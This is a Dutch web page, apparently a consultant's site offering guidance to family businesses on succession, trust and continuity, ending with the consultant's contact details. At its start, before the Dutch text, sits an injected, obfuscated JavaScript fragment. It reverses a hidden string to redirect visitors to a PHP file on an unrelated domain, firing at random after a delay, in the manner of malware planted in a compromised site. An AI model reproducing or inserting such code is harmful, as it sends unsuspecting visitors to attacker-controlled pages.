) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top_left” background_repeat=”repeat” hover_enabled=”0″ global_colors_info=”{}” sticky_enabled=”0″]

Ecosysteem

Bij familiebedrijven spelen andere invloeden dan bij andere organisaties. Familiebelangen en aandeelhoudersbelangen zijn vaak verweven met het bedrijfsbelang en niet altijd inzichtelijk. Waarden als loyaliteit, vertrouwen en langetermijnperspectief (continuïteit) hebben een aparte lading.

In de afgelopen tien jaar ben ik betrokken geweest bij bedrijven waar die familiecomponent sterk speelt. In lastige situaties weet ik het gesprek weer op gang te krijgen door de focus met elkaar op de wederzijdse belangen te leggen en van daaruit naar oplossingen te zoeken. Ik voel een aparte band met dit soort mensen en bedrijven. Het past bij mijn beeld dat bedrijven ecosystemen zijn, waarbij alle invloeden – van binnen en van de omgeving – met elkaar in balans horen te zijn.

 

70 % van familiebedrijven overleeft de eerste overdracht niet
Vaak is er een gebrek aan draagvlak. Vertrouwen, context en perspectief zijn uit balans. In zulke situaties kan ik rust in het proces brengen, effectief en evenwichtig. En tegelijkertijd in onzekere tijden een objectief en onafhankelijk klankbord zijn voor de diverse betrokkenen. Mijn focus ligt op het creëren van continuïteit, vertrouwen en perspectief.

 

> Mijn rol bij transities

 

Ik maak graag een afspraak om hier verder over te praten

Hans-Peter Evers

E hanspeterevers@tanera.com
M +31 622 791 109